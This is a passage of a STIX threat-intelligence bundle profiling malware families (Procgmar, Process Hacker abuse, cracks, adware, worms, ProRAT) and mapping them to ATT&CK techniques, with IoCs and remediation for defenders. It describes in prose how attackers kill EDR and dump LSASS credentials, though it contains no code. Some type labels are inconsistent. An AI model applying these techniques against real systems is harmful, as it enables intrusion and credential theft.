      "description": "<h3>Executive Summary</h3>\nProcgmar is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nProcgmar is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Procgmar operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Procgmar ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Procgmar receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Procgmar infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Procgmar executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Procgmar frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Procgmar",
        "Downloader.Procgmar",
        "Win32/Procgmar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Procgmar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/procgmar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a17625d-cb77-5d3e-8fe6-8043f2e82fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--027f7275-3781-587f-9917-b8e6152c5a34",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procgmar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50dbc164-49f7-511c-9ba5-fa7206916992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--027f7275-3781-587f-9917-b8e6152c5a34",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procgmar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4a4ba65-d71f-53e8-aecb-e9033631f9a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--027f7275-3781-587f-9917-b8e6152c5a34",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procgmar exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e69ae693-7cae-535f-bfd9-9b6cd3f2100a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prochack",
      "description": "HackTool:Win32/Prochack (or generic **Process Hacker** heuristics) refers to detections associated with powerful system administration and memory manipulation tools (most notably the open-source utility 'Process Hacker', now known as 'System Informer'). While these are legitimate, highly useful tools for IT professionals to monitor and debug Windows systems, they are frequently flagged by security vendors because threat actors heavily abuse them to forcefully terminate EDR solutions, dump credentials, and manipulate system memory during an attack.<br><br><b>Understanding Prochack Abuse</b><br>To an end-user, this tool is invisible unless they explicitly launched it. For a security analyst, the unapproved presence of a tool like Process Hacker on a corporate endpoint is a massive red flag. Because the tool installs a legitimate kernel-level driver (`KProcessHacker.sys`), it operates with higher privileges than the operating system itself, allowing an attacker to bypass standard Windows security boundaries and manipulate critical processes that are normally protected.<br><br><b>Execution and Legitimate Tool Abuse</b><br>Threat actors drop Prochack/Process Hacker during the post-exploitation phase (`T1105`). Because the executable and its associated kernel driver are digitally signed (often by a legitimate open-source certificate), it easily bypasses initial static analysis (`T1553.002`). The attacker uses the tool's GUI or command-line interface to perform highly destructive actions (`T1204.002`). The most common abuse is the forceful termination of Antivirus and EDR sensors (`T1562.001`), utilizing the kernel driver to bypass tamper protection. Attackers also use the tool to dump the memory of the `lsass.exe` process (`T1003.001`) to extract plaintext passwords and NTLM hashes, mimicking the behavior of Mimikatz without needing to drop the actual Mimikatz binary.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the complete subversion of endpoint security controls and the theft of privileged credentials. The primary IoC is the execution of known Process Hacker binaries (`ProcessHacker.exe`, `SystemInformer.exe`) from unusual directories (like `%Temp%`), or the installation of the `KProcessHacker.sys` kernel driver. EDR logs will flag anomalous attempts to read the memory of `lsass.exe` or forceful attempts to suspend/kill security-related services. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prochack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prochack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31dc037b-2ebc-5f4e-9086-c57be2edb1a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69ae693-7cae-535f-bfd9-9b6cd3f2100a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prochack exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Forcefully terminating EDR))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4ac24ce-ebbf-5fe9-9b62-474f49d3e13b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69ae693-7cae-535f-bfd9-9b6cd3f2100a",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prochack exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Dumping passwords))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ffab38c-c948-5490-8db3-169c3269f6e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69ae693-7cae-535f-bfd9-9b6cd3f2100a",
      "target_ref": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prochack exhibits technique T1553.002 (Subvert Trust Controls: Code Signing (Abusing signed drivers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8eca053-ad38-513f-a8b2-20d8946afd97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69ae693-7cae-535f-bfd9-9b6cd3f2100a",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prochack exhibits technique T1068 (Exploitation for Privilege Escalation (Using the kernel driver for ring-0 access))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--934a2503-aea9-575d-9323-c14c00cc012f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Procpatcher",
      "description": "HackTool:Win32/Procpatcher (or generic Patcher detections) typically refers to software designed to bypass digital rights management (DRM), licensing checks, or registration requirements of commercial software. While the patcher itself is a tool used for software piracy (cracking), these tools are overwhelmingly flagged by security software because they are almost universally bundled with aggressive malware, trojans, or backdoors.<br><br><b>Understanding Procpatcher (Cracks/Keygens)</b><br>To an end-user, Procpatcher is simply a tool downloaded from a torrent site to get a free copy of expensive software like Photoshop or a modern video game. For a security analyst, a patcher detection is a massive red flag indicating a user has deliberately bypassed corporate security policies to run untrusted, highly suspicious code downloaded from the cybercriminal underground.<br><br><b>Execution and Delivery Mechanics</b><br>Patchers are downloaded manually by the user, representing a significant insider risk (`T1204.002`). By definition, a patcher must modify the executable code or memory space of another legitimate program to bypass the license check (`T1055`). Because this behavior is identical to how malware injects code, AV engines flag it heuristically. However, the real threat is the supply chain: the individuals creating and distributing these patchers on torrent sites routinely bundle them with hidden stealers, cryptominers, or remote access trojans (RATs). When the user runs the patcher (often explicitly disabling their AV to do so, as instructed by the crack's 'ReadMe' file), they silently infect their own machine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from simple software piracy to total system compromise, depending on the bundled payload. Host-based IoCs include the presence of known software cracking tools (e.g., 'crack.exe', 'patcher.exe', 'keygen.exe') in the user's Downloads folder. EDR alerts will show these tools attempting to inject code into legitimate application binaries or modifying hosts files to block license verification servers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Procpatcher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/procpatcher"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21a3174c-9b53-5948-bb96-cd96191381a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934a2503-aea9-575d-9323-c14c00cc012f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procpatcher exhibits technique T1204.002 (User Execution: Malicious File (User actively running the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1441e96b-9085-5b5a-a671-de276fc0aa96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934a2503-aea9-575d-9323-c14c00cc012f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procpatcher exhibits technique T1055 (Process Injection (Patching the target application's memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--734340a0-9522-57a0-9d12-467a54e2c062",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--934a2503-aea9-575d-9323-c14c00cc012f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Procpatcher exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (User disabling AV to run the patcher))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--735b9ed1-651b-52f3-aef6-16788b58522d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Progressive",
      "description": "Adware:Win32/Progressive (often associated with 'Progressive Web Apps' abuse or deceptive adware branding) is a classification for unwanted software that aggressively monitors user browsing habits to serve highly targeted, intrusive advertisements. It leverages both local system persistence and browser manipulation to generate fraudulent ad revenue or drive traffic to affiliate marketing sites (`T1189`).<br><br><b>Understanding Progressive (Adware)</b><br>To an end-user, Progressive severely disrupts the browsing experience. Users will encounter frequent pop-up ads, unexpected redirects when clicking legitimate links, and an overall slowing down of browser performance as the adware injects heavy JavaScript into every page visited. For a security team, it represents a data privacy issue and a potential gateway for malvertising attacks.<br><br><b>Execution and Persistence Mechanics</b><br>Progressive is commonly bundled with freeware, torrent downloads, or disguised as a necessary browser plugin. Once installed, it frequently establishes persistence by creating a Scheduled Task (`T1053.005`) that ensures the adware's core executable runs every time the user logs in. It then hooks into the browser processes or acts as a local proxy (`T1112`), intercepting all HTTP/HTTPS traffic. This allows it to inject its own advertising HTML/JavaScript directly into the Document Object Model (DOM) of the websites the user visits, bypassing many standard adblockers.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the loss of browsing privacy and exposure to potentially malicious third-party content. Host-based IoCs include the presence of unexpected scheduled tasks, unauthorized modifications to browser proxy settings, and the presence of unknown executables in `%ProgramFiles%` or `%LocalAppData%`. Network IoCs include a constant stream of background HTTP/HTTPS requests to known advertising networks, data brokers, and affiliate tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Progressive",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/progressive"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0089bf4b-36bc-5801-b92b-8018a9be33bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--735b9ed1-651b-52f3-aef6-16788b58522d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Progressive exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d87ddac-b5dd-5432-ade8-65629bcbfca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--735b9ed1-651b-52f3-aef6-16788b58522d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Progressive exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Establishing persistent adware updaters))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a08315b4-f8a9-594a-bf0a-52d58c3b4f3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--735b9ed1-651b-52f3-aef6-16788b58522d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Progressive exhibits technique T1112 (Modify Registry (Modifying proxy settings to intercept and inject ads into web traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd61b177-ef5d-5c3c-aba6-22016383d399",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Proinstall",
      "description": "Adware:Win32/Proinstall is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Proinstall</b><br>To an end-user, Proinstall manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Proinstall is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Proinstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/proinstall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7640581d-554b-5ec4-ae2a-2cda665d6bf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd61b177-ef5d-5c3c-aba6-22016383d399",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proinstall exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cef86c95-d5e8-5cac-8c45-6b38487e8d8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd61b177-ef5d-5c3c-aba6-22016383d399",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proinstall exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--495d080f-8769-54a9-b44f-69fbeadb2501",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd61b177-ef5d-5c3c-aba6-22016383d399",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proinstall exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d22960b4-0425-5319-89ef-1293bcb2dc44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd61b177-ef5d-5c3c-aba6-22016383d399",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proinstall exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Propagate",
      "description": "Worm:Win32/Propagate is a behavioral heuristic detection utilized by antivirus engines to flag malware that aggressively attempts to copy itself across a network, removable drives, or email systems, exhibiting the classic, self-replicating characteristics of a computer worm.<br><br><b>Understanding Propagate</b><br>To an end-user, a Propagate detection indicates that the security software blocked a threat that was actively trying to spread. For a security analyst, the 'Propagate' designation highlights a severe risk to the broader network infrastructure. It is not a specific malware family; rather, it is a behavioral signature. The underlying payload could be a destructive ransomware variant (like WannaCry, which utilized SMB propagation), a botnet agent, or a cryptocurrency miner aiming to maximize its hashing power by infecting as many hosts as possible.<br><br><b>Execution and Evasion Strategies</b><br>The execution of a worm flagged as Propagate relies heavily on exploiting trusted communication channels. EDR telemetry will often show the malicious process rapidly querying the local ARP cache or Active Directory to build a list of target IP addresses. It will then attempt to authenticate to network shares (IPC$, ADMIN$) using stolen credentials (`T1078`), exploit known vulnerabilities (e.g., MS17-010 EternalBlue), or drop `autorun.inf` files onto any connected USB drives. The sheer volume of this automated lateral movement makes it highly noisy, but its speed can outpace human intervention.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a rapid, uncontrolled infection across the corporate network. Incident responders will observe a massive spike in outbound SMB (TCP 445), RDP (TCP 3389), or WMI traffic originating from the initially compromised host. EDR platforms will flag processes attempting to write executable files to mapped network drives or rapidly iterating through IP subnets. (Observed samples in benchmark: 67)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Propagate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/propagate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f899e4a-1e29-5cce-9472-258a20daaccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Propagate exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60b2bd53-fc5d-59ed-a88d-f06681c6379c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Propagate exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a9785ab-44bb-53c7-9abc-fcaf380e1aef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Propagate exhibits technique T1078 (Valid Accounts)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f72e82f-5f98-5bf4-bd04-1a08a04b1b57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Propagate exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9c558ff-bb31-503d-a9b2-b448746a1887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--357d2ef8-7611-5b78-99b5-8f46409a2b9e",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Propagate exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prorat",
      "description": "ProRAT (historically one of the most famous and widely distributed commercial remote access trojans, written in C++ by Turkish programmers and active since 2003) is a full-featured client-server backdoor targeting Windows systems. ProRAT allows attackers to construct customized server stagers configured to notify operators via ICQ or email upon victim infection. The backdoor server binds a stealth TCP listening port or makes reverse connections to the operator client. ProRAT provides complete administrative control over compromised endpoints: remote desktop viewing, microphone eavesdropping, webcam streaming, keystroke logging, file management (upload, download, execution), registry manipulation, CD tray opening/closing, screen freezing, and password extraction from browsers, email clients, and system dial-up connections. It disables antivirus processes, hides its binary in %SystemRoot%, and installs as a persistent Windows service. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/ProRAT",
        "Trojan:Win32/ProRAT",
        "Backdoor.ProRAT",
        "Win32/ProRAT",
        "ProRAT Server",
        "ProRAT Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prorat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prorat"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5e18dcc-0058-5aa1-bc90-2eb50ddcd5a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prorat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--836bbd6d-83c1-5a20-ab4c-38a489280e4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prorat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55f80d8d-58f5-5e9e-a1d8-41e1a0214462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prorat exhibits technique T1090 (Connection Proxy (Listening Port))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a6b95eb-945c-5304-aa74-8c6c3dc303d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
